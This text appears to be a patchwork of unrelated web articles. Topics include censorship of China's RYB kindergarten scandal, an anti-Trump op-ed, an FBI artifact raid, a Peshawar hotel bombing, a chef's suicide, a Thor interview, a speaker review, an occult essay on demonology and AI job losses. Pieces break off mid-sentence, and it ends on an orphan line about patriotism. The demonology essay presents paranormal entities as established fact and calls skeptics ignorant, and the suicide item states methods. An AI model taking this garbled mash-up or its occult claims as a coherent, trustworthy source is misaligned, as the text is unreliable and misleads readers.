Several videos recorded by the parents involved made their ways to parental support groups. One video shows two parents asking their toddler son about a white pill they discovered on him. The little boy then answers “the teacher gave it to me to make me sleep.” He also says: “We have to take these pills every day.” The video was later taken offline. […] The accusations against the kindergarten made headlines in China on Wednesday and Thursday, but many news reports were pulled offline shortly afterward. Discussions on social media are also censored. The hashtag “Beijing’s RYB Centre Suspected of Child Abuse’ (#北京红黄蓝涉嫌虐童#) became of the top ten topics on Weibo on Thursday afternoon, but then became inaccessible. A Beijing Youth Daily journalist reported that on Thursday, November 23, a group of parents gathered at the gate of the kindergarten where a meeting would supposedly be held at the time of writing. Parents demanded to see the center’s surveillance videos, but according to reports that came out around 17.30 Beijing time, the police had already confiscated the footage. [Source]
What’s On Weibo also translated a now-deleted Wechat post addressing both the scandal itself and the censorship surrounding it:
Someone wrote an article on Douban [online platform], titled “Out Of All Child Abuse Cases, I Dread the One Where Parent’s Interviews are Deleted the Most.” In this article, the author writes: “I would like to ask one question. Why would the videos of interviews with the victims’ parents be deleted, and why is it not allowed at all to discuss this matter on Zhihu [online discussion forum]? (…)“ […] Yesterday when I first started to see the articles on WeChat, some readers asked me to write [about this]. (..) This morning, I read a lot of media reports, including those from The Paper, Xinhua News, and other big media, and it made me really depressed. So I’ll write this for you: “Dear readers, I really cannot write about the RYB Education kindergarten. First, there was Shanghai, now there’s Beijing. There are the persons in charge, and the headmaster, there are kindergarten teachers, (..), and now something even bigger has been exposed. The patterns of child abuse keep changing, and if we haven’t reached rock bottom then we’ll fall through the earth straight into hell. However, these unsophistication expressions and crude emotions were deleted within a second. I rewrote them from my memory. I re-wrote it three times in a row, and it was deleted three times in a row. Now, I cry as I watch the ending of the interview videos, and I also finish writing this article. As for the fate of this article, there’s no way of knowing. [Source]
A form of online protest in the "Red Yellow Blue Education" (#红黄蓝幼儿园 ) abuse scandal (https://t.co/gcyzEHmiMc) amid censorship: online images show red, yellow, blue with "black" (=illegal/sinister) in the center. pic.twitter.com/u4bzQEfQg5 — Manya Koetse (@manyapan) November 24, 2017
At Radii China, Fan Shuhong noted the feted launch of child abuse documentary "Angels Wear White" amid censorship of the RYB scandal, and noted rapid reactions, rapidly deleted, from China’s hip hop scene:
Rappers are typically quick to form a cultural response to current events — “They are never absent,” says a post by WeChat account Xiaoqing Shushu (link in Chinese). The recent events at RYB are no exception. Kungfu-Pen (小胖) from longstanding Changsha rap crew C-Block released a track today referencing the RYB incident called “Beat Uncles (打叔叔)”, and another rapper called HRBELIAL (贝利) responded this morning with a track called “Tricolor (三原色)” (“RYB” in the school’s name stands for Red, Yellow Blue). Both tracks have been removed from both Weibo and the NetEase Music streaming service, but they’re still up and streaming on this WeChat post as of this writing (link in Chinese). Here are some select quotes from each: Cheap lines, covered facts. Hard to imagine, the principal’s speech under the national flag. A man must be ruthless, but even a ruthless tiger will never eat his son. How can you be so shameless as the kids’ second parents? — “Beat Uncles” by Kungfu-Pen [Source]
Some more commentary, from Twitter:
I have rarely seen such widespread anger & despair on Chinese social media in recent years — Wang Feng (@ulywang) November 23, 2017
If this is happening at 5,000 yuan a month kindergartens, what's going on in the orphanages — Lulu Yilun Chen (@luluyilun) November 24, 2017
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Every day, it seems, the commander-in-chief of the United States makes a move to worsen the lives of the people he’s meant to serve, whether that be by pulling out of the Paris Agreement, promoting hate and intolerance, or endangering global trade. The Russia scandal alone, breathlessly covered by our own Greg Olear, has already outpaced Teapot Dome and Watergate in its scope and criminality. Yesterday Trump proposed banning transgender people from serving in the military; today his collaborators in Congress may very well strip healthcare from millions of Americans.
But beyond policy Trump has had major impacts as well, not only on the daily lives of citizens and noncitizens alike, but on the coalitions that have dominated American politics for decades, the office and power of the executive, and America as both an idea and a culture. Although it’s still difficult to see how Trump’s tenure, assuming we survive him, will impact the nation long-term, we can at least begin to examine some of the immediate effects he is having on the nation he rules.
Over the next three weeks let’s look at the good, the bad, and the ugly wrought by Donald Trump. And let’s begin with the good.
Before Donald Trump, liberalism was the politics of complacency. Although major progress was made on gay rights, healthcare, and energy independence, President Obama and his allies failed to move the needle on some of the major planks of the liberal agenda. In many ways things got worse.
Under Obama, incarceration rates skyrocketed, as did police militarization, as did wealth inequality. For its part in the 2008 financial crisis, Wall Street got a slap on the wrist. A weakened American foreign policy, traumatized by years of war in Afghanistan and Iraq, allowed for the emergence of a more aggressive Russia and the birth of the Islamic State.
While some worked tirelessly to push progressive causes, the great majority of the Left sat on its hands. As long as we had a smart, decent Democrat in office there was no reason to protest, or complain, or even to engage.
Since the 2016 election, things have changed and in dramatic ways. People who had never before thought of voting, much less participating, are taking to the streets. The ACLU, the DNC, and various anti-Trump groups have announced record donations. FOX, weakened by sex scandal and clear pro-Trump bias, has dropped in the ratings to fall behind CNN and MSNBC. The New York Times and Washington Post, recently in financial straits, are seeing huge spikes in subscriptions, both in digital and print. People are paying attention. And with every misstep by the White House, new alliances are being formed and a new liberal coalition is growing.
Trumpland may have won the battle, but the Left may yet win the war. In fact, Donald Trump may be the most important member the Resistance has, for he serves as the opposition’s most galvanizing recruitment tool.
Consider: would anyone have guessed a year ago that George Will, David Brooks, and Glenn Beck would stand on the same side as Bill Maher, Rachel Maddow, and Michael Moore? Even now, even now, Trump is trying his hardest to recruit his own Attorney General to our cause.
And while Trump grows the organized opposition against him, his totalitarian tendencies have sparked a long-overdue discussion about the limits of executive power.
When this nation was founded, some of its architects, most notably John Adams, saw the office of the president as that of a king, demanding complete respect and sublimation. Others, however, Adams’ great rival Thomas Jefferson chief among them, believed that a powerful chief executive was a threat to the very institution of democracy. In fact, Jefferson famously stripped the office of much of its pomp and circumstance, much to the bewilderment of visiting foreign emissaries. For the first several decades of the nation’s existence real power lay with Congress, and it wasn’t until Abraham Lincoln that things first began to change. Theodore Roosevelt, Woodrow Wilson, Franklin Roosevelt, Harry Truman, and Lyndon Johnson each expanded the powers of the executive further and further to the point that today the president has the literal power to end the world should he choose.
Donald Trump is not a stable man. Growing evidence of collusion with a foreign power, ignorance, or contempt for the rule of law, and demonstrated lack of impulse control, have all led to a re-examination of the powers of the presidency. Even now, in a time of intense partisanship not seen since the 1850s, the House of Representatives voted 419 to 3 to impose new sanctions on Russia, which President Trump would not be able to overturn.
Although the Russia sanctions bill has hit a snag in recent days, this unique moment of bipartisanship should not be taken lightly. It is only the first salvo at the imperial presidency, a major rebuke of executive power that will only become more limited the more Trump oversteps.
And here we come to the final, perhaps greatest irony. The more Trump rails against the Left and aligns himself to conservatism, the more he risks diminishing the power and influence of the Right.
Trump, more than anyone else, knows the importance of branding. He made his (yet to be determined) fortune by cultivating his image as a great builder and a business genius. But with every passing day, with each new crazy 8am tweet, with every firing, and every overly long, awkward handshake, Trump reveals himself as the oafish, know-nothing fraud that he is. And that image will stay with the Grand Old Party for a generation or more, depending on the damage he leaves.
The Republican party is fast losing its opportunity to disassociate themselves from Trump, and if they don’t act soon, they will go down with him. Cue political realignment. Cue the Newer Deal. Cue a liberal supermajority in 2020.
It may be very difficult to see it most days, but Donald Trump may just be the greatest thing to happen to progressive politics since the advent of the eight-hour day.WALDRON, IN — Around 100 FBI agents swarmed an elderly man’s house in rural Indiana. The Federal government has set up a command post with trucks and military-style tents. The feds showed up to sort through his lifetime collection of world artifacts that he had gathered over the course of his 91 years. The agents claim they want to make sure he “acquired the items properly” — effectively making him prove his innocence — even though the man has not been accused of breaking any laws.
Don Miller, 91, has led a remarkable life filled with world travels and research. He never had any children, and instead spent his years devoted to science, history, and travel. He has visited over 200 countries, and began collecting cultural artifacts nearly 8 decades ago.
Over time he has built an impressive collection comprised of thousands of relics. He has objects from China, Haiti, Australia, Russia, New Guinea, Italy, New Zealand, Puerto Rico, Greece, Peru, Russia, among other countries. His North American artifacts include objects from the native tribes that once populated the continent.
The collection contains a bit of everything: fossils, war relics, ancient pottery, old guns, arrowheads, and more.
Mr. Miller has been proud to show off his collection to folks. The locals liken his collection to a museum. He’d give people permission to invite friends along to tour his property. His possessions are proudly displayed in multiple buildings on his property.
His passion has never been a secret. Unfortunately, his openness brought him the unwanted attention of the Federal Bureau of Investigation.
Dozens of federal agents set up camp around his house, in a monumental effort to determine if Mr. Miller had ever broken a law, statute, or treaty. Several mobile command centers were brought in along with archeologists, anthropologists, and a legion of bureaucrats. The staging of the FBI at the Miller home has been ongoing this week and will last an unknown duration. The use of taxpayer resources to incriminate the old man is truly immense.
The Feds blocked off the road a half-mile from the Miller home to keep the prying eyes of the media away.
When neighbor Andi Essex heard the FBI was raiding Miller’s home, she grew upset. “Why? Why? Leave him alone! He’s done so much for people,” she said according to WISH-TV.
A plumber who once toured Miller’s house recalled the collection: “It was pretty neat stuff. I was really interested in looking at all of it… He had a head with an arrowhead stuck in it, like a skull and all kinds of Indian artifacts from arrowheads to hatchets to peace pipes to just anything.”
The FBI experts who were brought in to snoop through Miller’s home were stunned. “I’m frankly overwhelmed I’ve never seen a collection like this in my entire life,” said Dr. Larry Zimmerman.
“The exact number of artifacts in the collection is unknown at this time but it’s believed to be in the thousands,” said FBI Special Agent in Charge Robert Jones. “The monetary value of the entire collection and of its individual pieces is yet to be determined however the cultural value of these artifacts is immeasurable.”
Miller’s fascinating life included working for the U.S. Army during World War 2, and being part of the secret team of researchers that test-fired the world’s first atomic bomb. As the Rushville Republican reported, after the 1945 armistice, being surrounded by some of the brightest minds in the country with “no more war to fight,” Miller set up his own makeshift college within the Army. He graded papers for famed physicist Enrico Fermi.
But that was decades ago. Mr. Miller, now a kindly old gentleman, was described as being “very cooperative.” But he insists “absolutely” that he acquired everything legally.
The FBI’s implication, however, is that Mr. Miller is a lawbreaker, and they are preying on his trust and cooperation until they can actually produce evidence in order to prove it.
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Phone: (317) 595-4000On the heels of July’s jobs report, which crushed expectations, the positive news was tempered a bit after U.S. worker productivity dropped for the third straight quarter. Economists had predicted that the productivity rate would improve modestly; instead it fell by 0.5 percent in what Reuters characterized as “the fastest year-on-year pace of decline in three years.” The drop extended an ongoing slide in worker productivity—the longest such dip since 1979.
The worker productivity rate is gauged by the output of goods and services produced for each hour worked. Ultimately, a decrease in that rate suggests that Americans are working more to create less. When held against more uplifting recent economic news, including the 500,000 jobs created in the past two months alone and a perking-up of wages, lower efficiency could have a surprising bite, potentially lowering long-term income and living standards, as well as encouraging the Federal Reserve to keep interest rates low.
So what gives? Well, according to one economist, it has little to do with social-media-inspired slacking off and more to do with workers having outgrown existing technology. “We have an $18 trillion economy,” explains Robert Gordon of Northwestern University, whose book The Rise and Fall of American Growth came out earlier this year. “Most of it is operating by the same business methods and procedures that have been in place for at least 10 years.”0
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Director Taika Waititi’s Thor: Ragnarok is now playing in select territories around the world and opens in North America next weekend. In the run-up to the Marvel film’s release, I got to sit down with Mark Ruffalo for an exclusive video interview about his work on the latest Marvel epic. He talked about his reaction when Marvel pitched him the story for Ragnarok, Hulk’s arc in Thor: Ragnarok, Avengers: Infinity War and Avengers 4, how Ragnarok is a mini version of Planet Hulk, what it’s been like working with the Russo Brothers on the next two Avengers movies, and more.
As I’m sure you all know by now, the Thor sequel finds Thor (Chris Hemsworth) stripped of his hammer by Hela (Cate Blanchett), who escapes from her Asgardian prison and lays waste to the city. Banished to a foreign planet, Thor teams up with Hulk (Mark Ruffalo) and some new and old friends to take on Hela and protect the universe once and for all. The film also stars Tom Hiddleston, Karl Urban, Tessa Thompson, Idris Elba, Jeff Goldblum, Rachel House, Tadanobu Asano, Anthony Hopkins, Benedict Cumberbatch, Clancy Brown, and Ray Stevenson.
I absolutely loved this movie. It’s probably the funniest Marvel movie to date and it’s also a really fun ride that’s also loaded with some incredible action set pieces. I had a smile on my face beginning to end. I can’t recommend Waititi’s film enough.
Check out what Mark Ruffalo had to say in the player above and below is exactly what we talked about and the official synopsis.
Mark Ruffalo:
What was his reaction when they pitched him the story?
Talks about Hulk’s arc in Thor: Ragnarok, Avengers: Infinity War and Avengers 4.
How Ragnarok is a mini version of Planet Hulk.
How he kept thinking while filming they were breaking the Marvel Universe.
What has it been like working with the Russo Brothers on Avengers: Infinity War and Avengers 4?
Calls the upcoming Avengers movies “funny, moving and epic.”
Here’s the official synopsis for Thor: Ragnarok:West Ham United are trying to convince Barcelona to let them sign Alex Song on a free transfer, although talks have also taken place over a potential switch to Chelsea.
Barca are believed to have valued Song at around £5million, but the Hammers have suggested that they sign the midfielder for free and take on his entire £70,000-a-week wages.
Song still has two years to run on his Barca contract and the Spanish club face the prospect of paying a share of his current salary for that period if no club is willing to match it.
Chelsea and Manchester City have also shown interest in Song due to his status as a home-grown player, but it is unclear whether or not the two clubs are willing to pay a fee.
Song in action for Arsenal against Chelsea in 2012 (AFP).
West Ham are willing to offer Song a three-year contract on his £70,000-a-week wages if they can convince Barca to let him go for free or drop the asking price.
Song spent last season on loan at West Ham and was superb during the first half of last season. But the 27-year-old’s performances, along with the team’s, dipped after Christmas.
New West Ham manager Slaven Bilic has already shared his plans and vision for the club with Song in an attempt to convince him to join permanently.
There is also interest in Song from Italy, but it is believed the player would prefer to stay in England and, in particular, London. Along with Chelsea and City, Southampton and Tottenham Hotspur are monitoring his situation.
Other than negotiating with Barca over Song, West Ham are growing increasingly confident of completing the signing of playmaker Dimitri Payet from Marseille.
Dimitri Payet in action for France against Belgium earlier this month (AFP).
France international Payet created more goals than any other player in Ligue One last season, with 16 assists.
West Ham may have to wait until the end of European Under-21 Championships to find out whether right-back Carl Jenkinson will return to the club on loan or go to Sunderland.
The Hammers are due to start pre-season training on Monday because of their early Europa League start and Bilic is taking the squad to Ireland for a training camp.The job: Wang, 45, is the founder and chief executive of Vizio Inc., which has its headquarters in Irvine. The consumer electronics manufacturer is known for bargain pricing and puts more LCD HDTVs on the market in the U.S. than any other company, according to iSuppli research.
Background: He was born in Taiwan, and his parents moved to the U.S. when he was 12 to give him a better education. Wang fell in love with U.S. television.
"I learned English from television," he said. " 'Charlie's Angels,' 'Six Million Dollar Man' and 'The Bionic Woman.' "
Ambition: Wang dreamed of becoming an architect, but he gave that up. "My mother didn't think that architects make any money. She recommended highly that I go into engineering." He got a degree in electrical engineering from USC in 1986 and entered graduate school at Cal State Long Beach.
Day job: Wang worked for Tatung Co., which made electronic equipment.
"From 7:30 a.m. to 5:30 p.m. I worked in technical support, then went to school at night," he said.
The company offered him a promotion. "I had the opportunity to become sales manager and I took it." That was the end of his graduate studies.ISLAMABAD, Pakistan (CNN) -- Pakistani authorities have lowered the toll of victims killed from Tuesday's suicide attack at a hotel in Peshawar to nine.
Pakistani police gather at the five-star hotel destroyed by a car bomb. more photos »
Police said Wednesday that the death toll of victims had risen to 17, but later in the day, officials lowered the toll to nine.
The figures do not include the three suicide attackers who also died.
Another 52 people were injured in the attack on the Pearl Continental Hotel, according to the new figures confirmed by Peshawar district coordination officer Sahibzada Muhammad Anis Khan.
The attackers shot their way onto the grounds of the Pearl Continental Hotel, which is often frequented by foreigners and diplomats, and set off a vehicle bomb Tuesday night. Watch why the hotel is of significance »
Among the dead were two U.N. employees and the hotel's general manager.
The blast inflicted severe damage on the building, which is surrounded by a security wall, and destroyed dozens of cars in the parking lot, police and witnesses said. The chief of Peshawar's bomb-disposal squad said the bomb contained about 500 kilograms (1,100 pounds) of explosives.
Surveillance video appeared to show a car and a truck involved in the attack, getting through the hotel's outside gate and security checkpoint with relative ease.
"They tried their best to stop the car bomb," said Jamil Kharwar, a spokesman for the hotel. "When a person has in his mind to come to die, nobody can stop him."
Peshawar is the capital of North West Frontier Province, which has suffered a spate of bombings on civilian targets in the wake of the Pakistani military's ongoing military offensive against Taliban militants. Sajjan Gohel, an international security analyst at the Asia-Pacific Foundation in Britain, said the blast appeared to be a response to the government's offensive.
"It has been criticized very heavily in the tribal areas because of the fact that the Pakistani military has been using helicopter gunships against the Taliban, which has resulted in very high civilian casualties," Gohel said.
He said people in the region are sympathetic to the Taliban, the Islamic militia that ruled most of Afghanistan before the September 2001 attacks on New York and Washington by its al Qaeda allies.
"This is where winning hearts and minds is so key and important, which the military are failing to do," he said.
However, hundreds of Pakistani villagers who have formed an anti-Taliban militia are currently fighting to remove the Islamic militants from their region of northwestern Pakistan, military spokesman Maj. Gen. Athar Abbas told CNN.
Abbas told CNN the Pakistani military is supporting the villagers, who turned against the Taliban after a suicide attack on a local mosque during Friday prayers that left at least 40 dead.
Some Peshawar officials blame militants for the attack, saying the country is at war. "Terrorists" are responsible, said Bashir Ahmad Bilour, a senior minister in North West Frontier Province.
"We have decided it's do or die, either they live or we live," he said.
The Pearl Continental is owned by the same group as the Marriott Hotel in Islamabad, which was destroyed in a suicide truck bombing in September.
The U.S. government had been considering moving its consulate in Peshawar to the hotel, U.S. envoy Richard Holbrooke said Wednesday. A U.S. Embassy official said though that no embassy employees were registered at the hotel.
CNN's Ingrid Formanek and Reza Sayah contributed to this report
All About Pakistan • The TalibanGet the latest from TODAY Sign up for our newsletter
Sep. 28, 2010, 2:50 PM GMT / Source: Us Weekly
A New Jersey restaurateur once featured on Gordon Ramsay's "Kitchen Nightmares" — who was told by the TV chef, 43, that his debt-ridden eatery was "about to swim down the Hudson" — has committed suicide.
The body of 39-year-old Joseph Cerniglia was found floating in the river after jumping off the George Washington Bridge in NYC, the New York Post reports.
PHOTOS: Stars gone too soon
Cerniglia, a married dad of three, owned Campania in Fair Lawn, NY, and was said to be deep in debt.
On the show, Cerniglia lamented, "I'm financially in trouble — the debt of the restaurant alone is overwhelming. My personal debt — wife, kids mortgage — that's a lot of debt... I owe my purveyors about $80,000 right now in cold, hard cash... I can't see us going on another year." Sobbing on the show, his wife added, "If this business fails, we will lose everything."
PHOTOS: Reality show rumbles
Cerniglia's family posted a message on his Facebook page, thanking "all of the friends that have sent their condolences" and asking that donations be sent to support his widow and their three sons.
Cerniglia is the second chef to commit suicide after appearing on one of Ramsay's cooking shows.
Rachel Brown, 41, shot herself in her family's Dallas home a year after appearing on 2006's "Hell's Kitchen."Signup to receive a daily roundup of the top LGBT+ news stories from around the world
Transgender singer Jordan Gray has commended The Voice, saying she was glad the process wasn’t made all about her gender identity.
The singer, who left the show last week, reflected on her time on The Voice in an interview with the Edinburgh Evening News.
The 27-year-old, said she enjoyed her time on the show, which was an “emotional rollercoaster” but that she’d do it again, and that she was seen as an “artist in her own right”, as opposed to just a trans singer.
“I love The Voice because it’s the show for me that has the most integrity and it’s all about creative freedom.
“The best way to describe my experience was like being in a bubble – and when it pops it’s easier to breathe again.”
Going on, Gray said she was pleased to note that towards the end of her time on the show, she was considered purely on her performances, rather than by her gender identity.
“I think towards the end of my time on the programme it stopped being about my gender and more about my performances.
“It was such a wonderful stepping stone in my life and I’m very proud of what I’ve done.”
The singer, who came out two years ago, used to perform before her transition.
After a member of Paloma Faith’s team dropped out on the Voice, she was allowed to come back, after not originally being picked by the judges to go to the finals.Everyone in my family listens to a lot of music. We listen to music so much we have a subscription to a music streaming service. I love it because it means lot of music at a reasonable price. Most of the time we listen using our headphones but there are times we like to share music. This is where a good speaker comes in handy.
Honeycomb Sound LLC recently announced the launch of their new wireless Bluetooth® portable speaker, the model HC-1. I was sent one to try out.
When I pulled it out the box I was loving the shape and design. It is unique and stands out. This cell shaped structure provides a material with low density and high compression. In terms of audio speaker design, this produces sound that is tight and clean. Measuring 14″(l) x 6.5″(h) x 4.5″(d) the bluetooth speaker does not take up a lot of space and is portable.
The Honeycomb speaker enclosure includes a 40 watt Class D high efficiency stereo amplifier with DSP; Bluetooth® 4.0 wireless technology; four 2″ full-range speakers; dual dynamic ports; 2200 mAh lithium-ion battery; and tactile control panel.
The Honeycomb Bluetooth Speaker has the ability to play music from a micro SD card, USB flash drive or 35 mm. I love all the options! The speaker also has a power bank function allowing for charging of mobile phones. It even comes with all the cords you need.
The Honeycomb Bluetooth Speaker is easy to operate and powerful. I took a quick video to show you how nice the sound is.
The sound is clear and crisp. It was very easy to pair it with my phone too. I am really loving this speaker. It is so stylish. I like that I can charge it and move it around with no problem. It holds a charge for hours. The speaker can be charged through a wall out or with the USB cord. It takes longer to charge it through USB though. I also love that you can charge your phone with this speaker too.
The Honeycomb Portable Bluetooth Speaker is available for $129 with shipping and handling of only $7.50 There are two colors available: Silver and White or Red and Black.
Honeycomb Portable Bluetooth Speaker Giveaway
One reader will win a Honeycomb Portable Bluetooth Speaker in their choice of color
Product was provided for review purposes. Giveaway sponsored by Honeycomb LLC. Giveaway open to US residents only.
Honeycomb Portable Bluetooth Speaker Giveaway
After entering this giveaway, add your email to this list to receive a special promo code after the giveaway is over.Loading... Loading...
“But, unhappily, this domain of enchantment is in all respects comparable to the gold of Faerie, which is presumably its medium of exchange. It cannot withstand daylight, the test of the human eye, or the scale of reason. When these are applied, its paradox becomes an anticlimax, its antithesis ludicrous; its contradictions are without genius; its mathematical marvels end in a verbal quibble; its elixirs fail even as purges; its transmutations do not need exposure at the assayer’s hands; its marvel-working words prove barbarous mutilations of dead languages, and are impotent from the moment that they are understood; departed friends, and even planetary intelligences, must not be seized by the skirts, for they are apt to desert their draperies, and these are not like the mantle of Elijah. – The Book of Ceremonial Magic, Arthur Edward Waite, 1913
Rest assured, there are few things more terrifying than waking up in the middle of the night, unable to move, and seeing shadowy figures, discussing what exactly they should do with you while flashing a light in your face. Thankfully, but no less comforting, these beings are known to completely vanish as the person continues to regain their movement. Before discussing the nature of these “beings” and what the definition of “being” could even be considered, it is of crucial importance to emphatically state the following: the person who discounts paranormal activity of this variety is a person who harbors the utmost state of ignorance. This type of person sits in such a deep state of denial not for ignoring one extensive body of data—but ignoring at least three here.
Firstly, is the phenomenology of the event—meaning not only the physical traces of any events, but the emotional traces. As this series will thoroughly elaborate, the true empirical criteria here is of the psychosomatic variety. There will always be hoaxes, but to say that nothing like non-physical entities exist, is to look the sufferer and the witness in the eye and deny them the innermost personifications of their trauma—or transcendence, depending on the encounter. This is the skeptic turning their back to another in need, ultimately.
Secondly, this same ignorant individual is ignoring the significant preliminary scientific data that has been done into the subject of demonology. Although the science itself almost never suggests this, there is a great deal of little known esoteric/occult scientific data which specifically elaborates on the realities of demonology. If “occult” and “science” sound like an illogical equation, click here.
The third primary set of data is that which is called “folklore.” In this case, folklore, interpretations of observed phenomena that currently do not have an empirical explanation, fall into the category of folklore, loosely including ideas of traditional religion, superstition, prominent and archetypal fictional stories told in cultures, and the occult.
Fleshing out the first of these points is largely for the individual to research, and the second point actually cannot be engaged until the third of them is addressed. Folklore sets the context of society. Before the birth of media technologies like the radio, television, and internet, gossip used to be folklore. This note of media manifestation is essential, because while traditional man did not have the extensive application of the scientific method, they were also not bombarded with symbolic media propaganda at every turn throughout the day. In terms of the analysis of the data, the stage in this case needs to be set with the data that primarily existed before media machinations, and have carried over into this postmodern era.
As the first step, consider the Nightmare. Today, the nightmare is considered a “bad dream” that causes a person a significant degree of terror, trauma, or at least intense discomfort. Since nightmares are considered a common occurrence, it might perturb a person to know that the word came from the Mare or Mara of the night, which was also known as the Succubus/Incubus, which was said to slink through the keyholes of bedrooms, rest their knees on the chest of the sleeper, and proceed to strangle them. Often, these visits of the Mara were considered in folklore to be a brush with death, and the survival of the “Grim Reaper” character which today stems from this idea—as well as the traditional vampire.
While the idea of the Night Mare generally stems from Germanic folklore, it is incidentally (or perhaps not so incidentally) also the name of the arch demon in Buddhism. As Gautama Buddha sat under the Bodhi, unwinding the tangled karmic excess of his own neurology, it is said the female demon, Mara, was the ultimate temptress of the Buddha, proving to be his final |
months to go before the long awaited sequel hits theaters. About the movie itself, Lemme offers this tantalizing tidbit about what fans can expect.
Related: Super Troopers 2 Gives Mac and Farva a Gay Love Scene
"It's going to be our widest release. And it's testing better than any movie we've tested. It came out fantastic."
When asked what's new with the Super Troopers themselves, Lemme is hesitant to reveal too much. But he does go onto give an overview of where the guys are in their lives.
"Well, we do all have cellphones in this movie. But otherwise, it seems like time has stood still for these state troopers. Which is good, because we didn't really want to answer the question of where these guys have been for the last 15 years, although we do answer it."
There is a love scene in the movie that has already been revealed. It happens between Mac and Farva. And as Lemme tells it, it will be the nastiest love scene in any Broken Lizard movie to date. Scratch that, it's the greasiest, most shocking scene they have ever attempted. He goes onto say this.
"Yeah, it's terrible. I won't give away why we're doing it. But ever since Kevin's tuna can, meaning his penis, which is wider than it is long, was shown in the first Super Troopers, in that powdered sugar shower scene, we realized that when you write stuff, you are gonna have to perform it one day. You know, you can tell a lot about what kind of a lover a person is based on how they do their love scene. There's an etiquette when you do a love scene, something called "mouth maintenance." You brush your teeth, pop in a breath mint, put on lip balm. You make it nice for your partner. Kevin did none of that stuff. It was burrito day at lunch that day, so he ate two burritos before we filmed the love scene. The gum he was chewing...He does this thing called "Farva gum," where he gets so into character as Farva that he chews the same piece of gum all day long. So he gets to set at 6 a.m., chews the gum for six hours, takes it out at lunch, then puts it back in in his mouth and chews it for another six hours. Then he swallows it. He's method. When it came time to shoot the scene, all the action was gone in that gum. The first kiss...I can still taste the salsa in his mouth."
It certainly gets worse from there. So, warning, you may not be able to stomach what Lemme has to say next. He goes onto explain.
"The second take, his mustache was just wet. And he says it's because it was burrito day and he was just sweating. But that's no good for me. Our tongues touched. I'm pretty sure he did it on purpose, just to gross me out. Then, on the fourth take, he pushed the little nasty piece of gum right in my mouth. His claim there was, "I was done with that." He reached around and gave me a shocker. Just stuck his fingers up my butt. Making matters worse is that, usually when you shoot a love scene with somebody, it's a closed set, because you want to be respectful. It's intimate. But when Farva and Mac are in a love scene, it's like a UFC steel-cage match. The entire crew was there and they're shouting stuff, like when he gave me the shocker. The whole thing was very unpleasant. And then it started to rain. So, we had to shoot it again in the rain. Then, after we wrapped, the director, Jay Chandrasekhar, confessed to me, "Actually, we got it on the first take."
In addition to the release date, Steve Lemme also shared some interesting tidbits from the productions of both movies. As it turns out, the iconic opening scene in Super Troopers was inspired by a real-life event that the Broken Lizard crew experienced in Canada while celebrating for a bachelor party. Apparently a border guard saw a joint on the dashboard of the RV that they were traveling in and began to question the group. Lemme had this to say.
"So, one guy was holding all of the mushrooms for the entire bachelor party, like, 12 doses of mushrooms. And he got so freaked out that he ate all of the mushrooms in the back of the RV."
Lemme went on to say that they were all held in a cell for 4 hours and later released after somebody in the party fessed up to having the joint. And the guy who ate all of the mushrooms ended up turning out ok after a 48-hour trip.
There we have it, Super Troopers 2 will hit theaters on April 20th, 2018 and will see the return of the whole crew. Thorny" Ramathorn (Jay Chandrasekhar), "Rabbit" Roto (Erik Stolhanske) "Rod" Farva (Kevin Heffernan) and Mac are all back with some new faces in the mix, including Rob Lowe and other celebrity cameos this time around. Rock band, The Eagles of Death Metal, have provided the original score, which seems like a perfect match for the Broken Lizard Crew.Young people will bear the brunt of Artificial Intelligence (AI) fuelled job losses as smart systems undercut entry-level roles in everything from marketing to retail.
Machine learning and expert systems will not destroy jobs wholesale, predicts George Zarkadakis, digital lead at advisory firm Willis Towers Watson, but will remove the need for many tasks that employees have traditionally cut their teeth on at the beginning of their careers.
Zarkadakis cited a study by consultants McKinsey, which found that just under one third of activities that make up 60 percent of existing jobs will be automated.
Unfortunately for new entrants to job markets, the bulk of these activities will be concentrated in starter roles, said Zarkadakis.
"We've done some research ourselves and looked at the impact on entry-level jobs. Jobs that graduates get once they leave university. We found that many of the entry-level jobs are very susceptible to complete obliteration," he told The AI Summit in London.
"But look at the impact. What will happen to the world when young graduates will not be able to enter the job market? There will be major disruption in the labor market."
The automation of these activities will cut about $1tn from business' wage bills, predicts Zarkadakis, good news for companies he said, but potentially bad for workers.
In the future, increasing numbers of people will work in the so-called 'gig economy', Zarkadakis claimed, where companies contract individuals to perform small tasks on demand. This type of work differs from full time employment in that there are no guarantees of long term ties between the employer and employee - with fewer obligations on both sides.
"This sort of disruption in the job market is already happening because of the gig economy and if we want to have an idea about what will happen with AI, we only need to see what's already happening with digital platforms," he said.
"Increasingly companies are reducing full time employees and using those digital platforms to acquire the desired skills on a contract basis. Maybe that's telling of what the future will be like."
This shift away from steady employment and income could see governments assume a greater role in preventing individuals from slipping into poverty.
"We'll have people being responsible for their financial well-being, as opposed to companies looking after them. The role of government will be increased, probably through universal income," he said, citing experiments with schemes to guarantee everybody a basic income in various countries worldwide.
Yet Zarkadakis' is only one point of view, Microsoft's chief envisioning officer Dave Coplin, expressed frustration at talk of technology destroying jobs, pointing out that technology generally complements human labor, rather than replaces it.
"We're locked in this endless cycle of pointless rhetoric of humans vs machines," said Coplin, whose employer offers a range of machine learning services via Microsoft Azure cloud and is pushing the idea of smart bots powered by its Cortana virtual assistant as the future of customer relations.
"'Machines can beat us at chess, they can beat us at Go, they're going to steal our jobs'. Hang on. Stop. When was this ever the dialogue for what we did with technology? Technology is here to augment what we do."
Roadblocks to widespread automation
Beyond the question of how AI will affect society, there is the more practical consideration of how long it will be before the technology is mature enough to affect such changes.
Companies are beginning to look at using machine learning and expert systems to further automate manual roles in service industries, in areas ranging from handling helpdesk calls to training shop assistants.
But Harrick Vin, chief scientist at Indian outsourcer Tata Consultancy Services, highlighted the significant obstacles to training machine learning systems that, until solved, will hamper the use of such systems to replace manual labor.
Training machines using supervised learning can take six to 18 months for every new domain of knowledge - an issue when each business can have many different domains they are seeking to automate - he said.
"If you really want to see benefits, like the ones that are being projected, then you've got to figure out how to scale and not take six months, one year, 18 months to train an engine to perform one task, because a typical large business performs hundreds, if not thousands, of different activities."
Without reducing this upfront training time, "it is going to be impossible to scale", he said.
And not only does it take too long to train systems, once ready to use such systems will likely need new training as businesses change the data they collect and the way they do business.
“You have to build these systems to be inherently adaptable," he said.
Used with permission of TechRepublic.com Copyright© 2016. All rights reserved.Yes, it is. In fact, it’s an act of patriotism.
